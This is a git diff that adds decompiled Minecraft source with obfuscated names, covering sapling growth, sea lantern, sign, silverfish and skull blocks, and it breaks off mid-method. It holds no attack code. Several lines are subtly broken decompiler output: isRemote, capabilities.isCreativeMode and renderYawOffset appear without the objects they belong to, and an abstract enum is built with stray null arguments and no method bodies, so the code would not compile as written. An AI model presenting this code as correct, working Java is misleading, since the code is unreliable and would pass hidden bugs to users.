+      func_176476_e(worldIn, p_176478_2_, p_176478_3_, p_176478_4_);
+    }
+  }
+  
+  public void func_176476_e(World worldIn, BlockPos p_176476_2_, IBlockState p_176476_3_, Random p_176476_4_)
+  {
+    Object var5 = p_176476_4_.nextInt(10) == 0 ? new WorldGenBigTree(true) : new WorldGenTrees(true);
+    int var6 = 0;
+    int var7 = 0;
+    boolean var8 = false;
+    
+    switch (SwitchEnumType.field_177065_a[((BlockPlanks.EnumType)p_176476_3_.getValue(TYPE_PROP)).ordinal()])
+    {
+
+    case 1: 
+      for (var6 = 0; var6 >= -1; var6--)
+      {
+        for (var7 = 0; var7 >= -1; var7--)
+        {
+          if ((func_176477_a(worldIn, p_176476_2_.add(var6, 0, var7), BlockPlanks.EnumType.SPRUCE)) && (func_176477_a(worldIn, p_176476_2_.add(var6 + 1, 0, var7), BlockPlanks.EnumType.SPRUCE)) && (func_176477_a(worldIn, p_176476_2_.add(var6, 0, var7 + 1), BlockPlanks.EnumType.SPRUCE)) && (func_176477_a(worldIn, p_176476_2_.add(var6 + 1, 0, var7 + 1), BlockPlanks.EnumType.SPRUCE)))
+          {
+            var5 = new WorldGenMegaPineTree(false, p_176476_4_.nextBoolean());
+            var8 = true;
+            break;
+          }
+        }
+      }
+      
+      if (!var8)
+      {
+        var7 = 0;
+        var6 = 0;
+        var5 = new WorldGenTaiga2(true);
+      }
+      
+      break;
+    
+    case 2: 
+      var5 = new WorldGenForest(true, false);
+      break;
+    
+
+    case 3: 
+      for (var6 = 0; var6 >= -1; var6--)
+      {
+        for (var7 = 0; var7 >= -1; var7--)
+        {
+          if ((func_176477_a(worldIn, p_176476_2_.add(var6, 0, var7), BlockPlanks.EnumType.JUNGLE)) && (func_176477_a(worldIn, p_176476_2_.add(var6 + 1, 0, var7), BlockPlanks.EnumType.JUNGLE)) && (func_176477_a(worldIn, p_176476_2_.add(var6, 0, var7 + 1), BlockPlanks.EnumType.JUNGLE)) && (func_176477_a(worldIn, p_176476_2_.add(var6 + 1, 0, var7 + 1), BlockPlanks.EnumType.JUNGLE)))
+          {
+            var5 = new WorldGenMegaJungle(true, 10, 20, BlockPlanks.EnumType.JUNGLE.func_176839_a(), BlockPlanks.EnumType.JUNGLE.func_176839_a());
+            var8 = true;
+            break;
+          }
+        }
+      }
+      
+      if (!var8)
+      {
+        var7 = 0;
+        var6 = 0;
+        var5 = new WorldGenTrees(true, 4 + p_176476_4_.nextInt(7), BlockPlanks.EnumType.JUNGLE.func_176839_a(), BlockPlanks.EnumType.JUNGLE.func_176839_a(), false);
+      }
+      
+      break;
+    
+    case 4: 
+      var5 = new WorldGenSavannaTree(true);
+      break;
+    
+
+    case 5: 
+      for (var6 = 0; var6 >= -1; var6--)
+      {
+        for (var7 = 0; var7 >= -1; var7--)
+        {
+          if ((func_176477_a(worldIn, p_176476_2_.add(var6, 0, var7), BlockPlanks.EnumType.DARK_OAK)) && (func_176477_a(worldIn, p_176476_2_.add(var6 + 1, 0, var7), BlockPlanks.EnumType.DARK_OAK)) && (func_176477_a(worldIn, p_176476_2_.add(var6, 0, var7 + 1), BlockPlanks.EnumType.DARK_OAK)) && (func_176477_a(worldIn, p_176476_2_.add(var6 + 1, 0, var7 + 1), BlockPlanks.EnumType.DARK_OAK)))
+          {
+            var5 = new WorldGenCanopyTree(true);
+            var8 = true;
+            break;
+          }
+        }
+      }
+      
+      if (!var8) {
+        return;
+      }
+      
+      break;
+    }
+    
+    
+    IBlockState var9 = Blocks.air.getDefaultState();
+    
+    if (var8)
+    {
+      worldIn.setBlockState(p_176476_2_.add(var6, 0, var7), var9, 4);
+      worldIn.setBlockState(p_176476_2_.add(var6 + 1, 0, var7), var9, 4);
+      worldIn.setBlockState(p_176476_2_.add(var6, 0, var7 + 1), var9, 4);
+      worldIn.setBlockState(p_176476_2_.add(var6 + 1, 0, var7 + 1), var9, 4);
+    }
+    else
+    {
+      worldIn.setBlockState(p_176476_2_, var9, 4);
+    }
+    
+    if (!((WorldGenerator)var5).generate(worldIn, p_176476_4_, p_176476_2_.add(var6, 0, var7)))
+    {
+      if (var8)
+      {
+        worldIn.setBlockState(p_176476_2_.add(var6, 0, var7), p_176476_3_, 4);
+        worldIn.setBlockState(p_176476_2_.add(var6 + 1, 0, var7), p_176476_3_, 4);
+        worldIn.setBlockState(p_176476_2_.add(var6, 0, var7 + 1), p_176476_3_, 4);
+        worldIn.setBlockState(p_176476_2_.add(var6 + 1, 0, var7 + 1), p_176476_3_, 4);
+      }
+      else
+      {
+        worldIn.setBlockState(p_176476_2_, p_176476_3_, 4);
+      }
+    }
+  }
+  
+  public boolean func_176477_a(World worldIn, BlockPos p_176477_2_, BlockPlanks.EnumType p_176477_3_)
+  {
+    IBlockState var4 = worldIn.getBlockState(p_176477_2_);
+    return (var4.getBlock() == this) && (var4.getValue(TYPE_PROP) == p_176477_3_);
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((BlockPlanks.EnumType)state.getValue(TYPE_PROP)).func_176839_a();
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    BlockPlanks.EnumType[] var4 = BlockPlanks.EnumType.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      BlockPlanks.EnumType var7 = var4[var6];
+      list.add(new ItemStack(itemIn, 1, var7.func_176839_a()));
+    }
+  }
+  
+  public boolean isStillGrowing(World worldIn, BlockPos p_176473_2_, IBlockState p_176473_3_, boolean p_176473_4_)
+  {
+    return true;
+  }
+  
+  public boolean canUseBonemeal(World worldIn, Random p_180670_2_, BlockPos p_180670_3_, IBlockState p_180670_4_)
+  {
+    return rand.nextFloat() < 0.45D;
+  }
+  
+  public void grow(World worldIn, Random p_176474_2_, BlockPos p_176474_3_, IBlockState p_176474_4_)
+  {
+    func_176478_d(worldIn, p_176474_3_, p_176474_4_, p_176474_2_);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(TYPE_PROP, BlockPlanks.EnumType.func_176837_a(meta & 0x7)).withProperty(STAGE_PROP, Integer.valueOf((meta & 0x8) >> 3));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((BlockPlanks.EnumType)state.getValue(TYPE_PROP)).func_176839_a();
+    var3 |= ((Integer)state.getValue(STAGE_PROP)).intValue() << 3;
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { TYPE_PROP, STAGE_PROP });
+  }
+  
+  static final class SwitchEnumType
+  {
+    static final int[] field_177065_a = new int[BlockPlanks.EnumType.values().length];
+    private static final String __OBFID = "CL_00002067";
+    
+    static
+    {
+      try
+      {
+        field_177065_a[BlockPlanks.EnumType.SPRUCE.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_177065_a[BlockPlanks.EnumType.BIRCH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_177065_a[BlockPlanks.EnumType.JUNGLE.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_177065_a[BlockPlanks.EnumType.ACACIA.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_177065_a[BlockPlanks.EnumType.DARK_OAK.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_177065_a[BlockPlanks.EnumType.OAK.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+    }
+    
+    SwitchEnumType() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSeaLantern.java b/src/minecraft/net/minecraft/block/BlockSeaLantern.java
new file mode 100644
index 0000000..84c3328
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSeaLantern.java
@@ -0,0 +1,60 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.util.MathHelper;
+
+public class BlockSeaLantern extends Block
+{
+  private static final String __OBFID = "CL_00002066";
+  
+  public BlockSeaLantern(Material p_i45685_1_)
+  {
+    super(p_i45685_1_);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 2 + random.nextInt(2);
+  }
+  
+
+
+
+  public int quantityDroppedWithBonus(int fortune, Random random)
+  {
+    return MathHelper.clamp_int(quantityDropped(random) + random.nextInt(fortune + 1), 1, 5);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.prismarine_crystals;
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return MapColor.quartzColor;
+  }
+  
+  protected boolean canSilkHarvest()
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSign.java b/src/minecraft/net/minecraft/block/BlockSign.java
new file mode 100644
index 0000000..1eebce8
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSign.java
@@ -0,0 +1,89 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntitySign;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockSign extends BlockContainer
+{
+  private static final String __OBFID = "CL_00000306";
+  
+  protected BlockSign()
+  {
+    super(Material.wood);
+    float var1 = 0.25F;
+    float var2 = 1.0F;
+    setBlockBounds(0.5F - var1, 0.0F, 0.5F - var1, 0.5F + var1, var2, 0.5F + var1);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public AxisAlignedBB getSelectedBoundingBox(World worldIn, BlockPos pos)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.getSelectedBoundingBox(worldIn, pos);
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isPassable(IBlockAccess blockAccess, BlockPos pos)
+  {
+    return true;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntitySign();
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.sign;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.sign;
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    TileEntity var9 = worldIn.getTileEntity(pos);
+    return (var9 instanceof TileEntitySign) ? ((TileEntitySign)var9).func_174882_b(playerIn) : false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSilverfish.java b/src/minecraft/net/minecraft/block/BlockSilverfish.java
new file mode 100644
index 0000000..26d63e4
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSilverfish.java
@@ -0,0 +1,405 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.monster.EntitySilverfish;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.World;
+
+public class BlockSilverfish extends Block
+{
+  public static final PropertyEnum VARIANT_PROP = PropertyEnum.create("variant", EnumType.class);
+  private static final String __OBFID = "CL_00000271";
+  
+  public BlockSilverfish()
+  {
+    super(Material.clay);
+    setDefaultState(blockState.getBaseState().withProperty(VARIANT_PROP, EnumType.STONE));
+    setHardness(0.0F);
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+  public static boolean func_176377_d(IBlockState p_176377_0_)
+  {
+    Block var1 = p_176377_0_.getBlock();
+    return (p_176377_0_ == Blocks.stone.getDefaultState().withProperty(BlockStone.VARIANT_PROP, BlockStone.EnumType.STONE)) || (var1 == Blocks.cobblestone) || (var1 == Blocks.stonebrick);
+  }
+  
+  protected ItemStack createStackedBlock(IBlockState state)
+  {
+    switch (SwitchEnumType.field_180178_a[((EnumType)state.getValue(VARIANT_PROP)).ordinal()])
+    {
+    case 1: 
+      return new ItemStack(Blocks.cobblestone);
+    
+    case 2: 
+      return new ItemStack(Blocks.stonebrick);
+    
+    case 3: 
+      return new ItemStack(Blocks.stonebrick, 1, BlockStoneBrick.EnumType.MOSSY.getMetaFromState());
+    
+    case 4: 
+      return new ItemStack(Blocks.stonebrick, 1, BlockStoneBrick.EnumType.CRACKED.getMetaFromState());
+    
+    case 5: 
+      return new ItemStack(Blocks.stonebrick, 1, BlockStoneBrick.EnumType.CHISELED.getMetaFromState());
+    }
+    
+    return new ItemStack(Blocks.stone);
+  }
+  
+
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    if ((!isRemote) && (worldIn.getGameRules().getGameRuleBooleanValue("doTileDrops")))
+    {
+      EntitySilverfish var6 = new EntitySilverfish(worldIn);
+      var6.setLocationAndAngles(pos.getX() + 0.5D, pos.getY(), pos.getZ() + 0.5D, 0.0F, 0.0F);
+      worldIn.spawnEntityInWorld(var6);
+      var6.spawnExplosionParticle();
+    }
+  }
+  
+  public int getDamageValue(World worldIn, BlockPos pos)
+  {
+    IBlockState var3 = worldIn.getBlockState(pos);
+    return var3.getBlock().getMetaFromState(var3);
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    EnumType[] var4 = EnumType.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumType var7 = var4[var6];
+      list.add(new ItemStack(itemIn, 1, var7.func_176881_a()));
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(VARIANT_PROP, EnumType.func_176879_a(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumType)state.getValue(VARIANT_PROP)).func_176881_a();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { VARIANT_PROP });
+  }
+  
+  public static abstract enum EnumType implements IStringSerializable
+  {
+    STONE("STONE", 0, 0, "stone", null), 
+    
+
+
+
+
+
+
+    COBBLESTONE("COBBLESTONE", 1, 1, "cobblestone", "cobble", null), 
+    
+
+
+
+
+
+
+    STONEBRICK("STONEBRICK", 2, 2, "stone_brick", "brick", null), 
+    
+
+
+
+
+
+
+    MOSSY_STONEBRICK("MOSSY_STONEBRICK", 3, 3, "mossy_brick", "mossybrick", null), 
+    
+
+
+
+
+
+
+    CRACKED_STONEBRICK("CRACKED_STONEBRICK", 4, 4, "cracked_brick", "crackedbrick", null), 
+    
+
+
+
+
+
+
+    CHISELED_STONEBRICK("CHISELED_STONEBRICK", 5, 5, "chiseled_brick", "chiseledbrick", null);
+    
+
+    private static final EnumType[] field_176885_g;
+    
+    private final int field_176893_h;
+    
+    private final String field_176894_i;
+    
+    private final String field_176891_j;
+    
+    private static final EnumType[] $VALUES;
+    
+    private static final String __OBFID = "CL_00002098";
+    
+
+    private EnumType(String p_i45704_1_, int p_i45704_2_, int p_i45704_3_, String p_i45704_4_)
+    {
+      this(p_i45704_1_, p_i45704_2_, p_i45704_3_, p_i45704_4_, p_i45704_4_);
+    }
+    
+    private EnumType(String p_i45705_1_, int p_i45705_2_, int p_i45705_3_, String p_i45705_4_, String p_i45705_5_)
+    {
+      field_176893_h = p_i45705_3_;
+      field_176894_i = p_i45705_4_;
+      field_176891_j = p_i45705_5_;
+    }
+    
+    public int func_176881_a()
+    {
+      return field_176893_h;
+    }
+    
+    public String toString()
+    {
+      return field_176894_i;
+    }
+    
+    public static EnumType func_176879_a(int p_176879_0_)
+    {
+      if ((p_176879_0_ < 0) || (p_176879_0_ >= field_176885_g.length))
+      {
+        p_176879_0_ = 0;
+      }
+      
+      return field_176885_g[p_176879_0_];
+    }
+    
+    public String getName()
+    {
+      return field_176894_i;
+    }
+    
+    public String func_176882_c()
+    {
+      return field_176891_j;
+    }
+    
+
+
+    public static EnumType func_176878_a(IBlockState p_176878_0_)
+    {
+      EnumType[] var1 = values();
+      int var2 = var1.length;
+      
+      for (int var3 = 0; var3 < var2; var3++)
+      {
+        EnumType var4 = var1[var3];
+        
+        if (p_176878_0_ == var4.func_176883_d())
+        {
+          return var4;
+        }
+      }
+      
+      return STONE;
+    }
+    
+    private EnumType(String p_i45706_1_, int p_i45706_2_, int p_i45706_3_, String p_i45706_4_, BlockSilverfish.SwitchEnumType p_i45706_5_)
+    {
+      this(p_i45706_1_, p_i45706_2_, p_i45706_3_, p_i45706_4_);
+    }
+    
+    private EnumType(String p_i45707_1_, int p_i45707_2_, int p_i45707_3_, String p_i45707_4_, String p_i45707_5_, BlockSilverfish.SwitchEnumType p_i45707_6_)
+    {
+      this(p_i45707_1_, p_i45707_2_, p_i45707_3_, p_i45707_4_, p_i45707_5_);
+    }
+    
+    static
+    {
+      field_176885_g = new EnumType[values().length];
+      
+
+
+
+      $VALUES = new EnumType[] { STONE, COBBLESTONE, STONEBRICK, MOSSY_STONEBRICK, CRACKED_STONEBRICK, CHISELED_STONEBRICK };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        field_176885_g[var3.func_176881_a()] = var3;
+      }
+    }
+    
+    public abstract IBlockState func_176883_d();
+  }
+  
+  static final class SwitchEnumType { static final int[] field_180178_a = new int[BlockSilverfish.EnumType.values().length];
+    private static final String __OBFID = "CL_00002099";
+    
+    static
+    {
+      try
+      {
+        field_180178_a[BlockSilverfish.EnumType.COBBLESTONE.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180178_a[BlockSilverfish.EnumType.STONEBRICK.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180178_a[BlockSilverfish.EnumType.MOSSY_STONEBRICK.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_180178_a[BlockSilverfish.EnumType.CRACKED_STONEBRICK.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_180178_a[BlockSilverfish.EnumType.CHISELED_STONEBRICK.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+    }
+    
+    SwitchEnumType() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSkull.java b/src/minecraft/net/minecraft/block/BlockSkull.java
new file mode 100644
index 0000000..5fe0e5f
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSkull.java
@@ -0,0 +1,353 @@
+package net.minecraft.block;
+
+import com.google.common.base.Predicate;
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.BlockWorldState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.block.state.pattern.BlockPattern;
+import net.minecraft.block.state.pattern.BlockPattern.PatternHelper;
+import net.minecraft.block.state.pattern.BlockStateHelper;
+import net.minecraft.block.state.pattern.FactoryBlockPattern;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.boss.EntityWither;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTUtil;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntitySkull;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockSkull extends BlockContainer
+{
+  public static final PropertyDirection field_176418_a = PropertyDirection.create("facing");
+  public static final PropertyBool field_176417_b = PropertyBool.create("nodrop");
+  private static final Predicate field_176419_M = new Predicate()
+  {
+    private static final String __OBFID = "CL_00002065";
+    
+    public boolean func_177062_a(BlockWorldState p_177062_1_) {
+      return (p_177062_1_.func_177509_a().getBlock() == Blocks.skull) && ((p_177062_1_.func_177507_b() instanceof TileEntitySkull)) && (((TileEntitySkull)p_177062_1_.func_177507_b()).getSkullType() == 1);
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_177062_a((BlockWorldState)p_apply_1_);
+    }
+  };
+  private BlockPattern field_176420_N;
+  private BlockPattern field_176421_O;
+  private static final String __OBFID = "CL_00000307";
+  
+  protected BlockSkull()
+  {
+    super(net.minecraft.block.material.Material.circuits);
+    setDefaultState(blockState.getBaseState().withProperty(field_176418_a, EnumFacing.NORTH).withProperty(field_176417_b, Boolean.valueOf(false)));
+    setBlockBounds(0.25F, 0.0F, 0.25F, 0.75F, 0.5F, 0.75F);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    switch (SwitchEnumFacing.field_177063_a[((EnumFacing)access.getBlockState(pos).getValue(field_176418_a)).ordinal()])
+    {
+    case 1: 
+    default: 
+      setBlockBounds(0.25F, 0.0F, 0.25F, 0.75F, 0.5F, 0.75F);
+      break;
+    
+    case 2: 
+      setBlockBounds(0.25F, 0.25F, 0.5F, 0.75F, 0.75F, 1.0F);
+      break;
+    
+    case 3: 
+      setBlockBounds(0.25F, 0.25F, 0.0F, 0.75F, 0.75F, 0.5F);
+      break;
+    
+    case 4: 
+      setBlockBounds(0.5F, 0.25F, 0.25F, 1.0F, 0.75F, 0.75F);
+      break;
+    
+    case 5: 
+      setBlockBounds(0.0F, 0.25F, 0.25F, 0.5F, 0.75F, 0.75F);
+    }
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.getCollisionBoundingBox(worldIn, pos, state);
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getDefaultState().withProperty(field_176418_a, placer.func_174811_aO()).withProperty(field_176417_b, Boolean.valueOf(false));
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntitySkull();
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.skull;
+  }
+  
+  public int getDamageValue(World worldIn, BlockPos pos)
+  {
+    TileEntity var3 = worldIn.getTileEntity(pos);
+    return (var3 instanceof TileEntitySkull) ? ((TileEntitySkull)var3).getSkullType() : super.getDamageValue(worldIn, pos);
+  }
+  
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune) {}
+  
+
+
+
+  public void onBlockHarvested(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn)
+  {
+    if (capabilities.isCreativeMode)
+    {
+      state = state.withProperty(field_176417_b, Boolean.valueOf(true));
+      worldIn.setBlockState(pos, state, 4);
+    }
+    
+    super.onBlockHarvested(worldIn, pos, state, playerIn);
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (!isRemote)
+    {
+      if (!((Boolean)state.getValue(field_176417_b)).booleanValue())
+      {
+        TileEntity var4 = worldIn.getTileEntity(pos);
+        
+        if ((var4 instanceof TileEntitySkull))
+        {
+          TileEntitySkull var5 = (TileEntitySkull)var4;
+          ItemStack var6 = new ItemStack(Items.skull, 1, getDamageValue(worldIn, pos));
+          
+          if ((var5.getSkullType() == 3) && (var5.getPlayerProfile() != null))
+          {
+            var6.setTagCompound(new NBTTagCompound());
+            NBTTagCompound var7 = new NBTTagCompound();
+            NBTUtil.writeGameProfile(var7, var5.getPlayerProfile());
+            var6.getTagCompound().setTag("SkullOwner", var7);
+          }
+          
+          spawnAsEntity(worldIn, pos, var6);
+        }
+      }
+      
+      super.breakBlock(worldIn, pos, state);
+    }
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.skull;
+  }
+  
+  public boolean func_176415_b(World worldIn, BlockPos p_176415_2_, ItemStack p_176415_3_)
+  {
+    return func_176414_j().func_177681_a(worldIn, p_176415_2_) != null;
+  }
+  
+  public void func_180679_a(World worldIn, BlockPos p_180679_2_, TileEntitySkull p_180679_3_)
+  {
+    if ((p_180679_3_.getSkullType() == 1) && (p_180679_2_.getY() >= 2) && (worldIn.getDifficulty() != net.minecraft.world.EnumDifficulty.PEACEFUL) && (!isRemote))
+    {
+      BlockPattern var4 = func_176416_l();
+      BlockPattern.PatternHelper var5 = var4.func_177681_a(worldIn, p_180679_2_);
+      
+      if (var5 != null)
+      {
+
+
+        for (int var6 = 0; var6 < 3; var6++)
+        {
+          BlockWorldState var7 = var5.func_177670_a(var6, 0, 0);
+          worldIn.setBlockState(var7.getPos(), var7.func_177509_a().withProperty(field_176417_b, Boolean.valueOf(true)), 2);
+        }
+        
+        for (var6 = 0; var6 < var4.func_177684_c(); var6++)
+        {
+          for (int var13 = 0; var13 < var4.func_177685_b(); var13++)
+          {
+            BlockWorldState var8 = var5.func_177670_a(var6, var13, 0);
+            worldIn.setBlockState(var8.getPos(), Blocks.air.getDefaultState(), 2);
+          }
+        }
+        
+        BlockPos var12 = var5.func_177670_a(1, 0, 0).getPos();
+        EntityWither var14 = new EntityWither(worldIn);
+        BlockPos var15 = var5.func_177670_a(1, 2, 0).getPos();
+        var14.setLocationAndAngles(var15.getX() + 0.5D, var15.getY() + 0.55D, var15.getZ() + 0.5D, var5.func_177669_b().getAxis() == EnumFacing.Axis.X ? 0.0F : 90.0F, 0.0F);
+        renderYawOffset = (var5.func_177669_b().getAxis() == EnumFacing.Axis.X ? 0.0F : 90.0F);
+        var14.func_82206_m();
+        Iterator var9 = worldIn.getEntitiesWithinAABB(EntityPlayer.class, var14.getEntityBoundingBox().expand(50.0D, 50.0D, 50.0D)).iterator();
+        
+        while (var9.hasNext())
+        {
+          EntityPlayer var10 = (EntityPlayer)var9.next();
+          var10.triggerAchievement(net.minecraft.stats.AchievementList.spawnWither);
+        }
+        
+        worldIn.spawnEntityInWorld(var14);
+        
+
+        for (int var16 = 0; var16 < 120; var16++)
+        {
+          worldIn.spawnParticle(EnumParticleTypes.SNOWBALL, var12.getX() + rand.nextDouble(), var12.getY() - 2 + rand.nextDouble() * 3.9D, var12.getZ() + rand.nextDouble(), 0.0D, 0.0D, 0.0D, new int[0]);
+        }
+        
+        for (var16 = 0; var16 < var4.func_177684_c(); var16++)
+        {
+          for (int var17 = 0; var17 < var4.func_177685_b(); var17++)
+          {
+            BlockWorldState var11 = var5.func_177670_a(var16, var17, 0);
+            worldIn.func_175722_b(var11.getPos(), Blocks.air);
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176418_a, EnumFacing.getFront(meta & 0x7)).withProperty(field_176417_b, Boolean.valueOf((meta & 0x8) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(field_176418_a)).getIndex();
+    
+    if (((Boolean)state.getValue(field_176417_b)).booleanValue())
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176418_a, field_176417_b });
+  }
+  
+  protected BlockPattern func_176414_j()
+  {
+    if (field_176420_N == null)
